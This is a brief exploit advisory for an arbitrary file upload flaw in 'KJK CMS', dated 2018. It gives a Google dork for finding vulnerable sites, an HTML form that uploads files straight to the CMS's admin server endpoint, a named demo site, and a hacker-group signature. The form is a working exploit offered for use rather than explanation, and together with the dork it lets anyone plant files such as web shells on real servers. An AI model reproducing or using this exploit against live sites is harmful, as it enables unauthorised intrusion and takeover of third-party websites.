# Exploit Title: KJK CMS - Arbitrary File Upload # Google Dork: intext:"webSEO.cz" # Date: 2 April, 2018 # Exploit Author: iKAM # Software Link: https://kjk.com.ng <form method="POST" action="https://servertarget/admin/server/php/" enctype="multipart/form-data"> <input type="file" name="files[]" /> <button>Upload</button></form> Demo: https://tripplegee.ng We Are Indonesian Freedom Security https://www.facebook.com/IndoFreeSec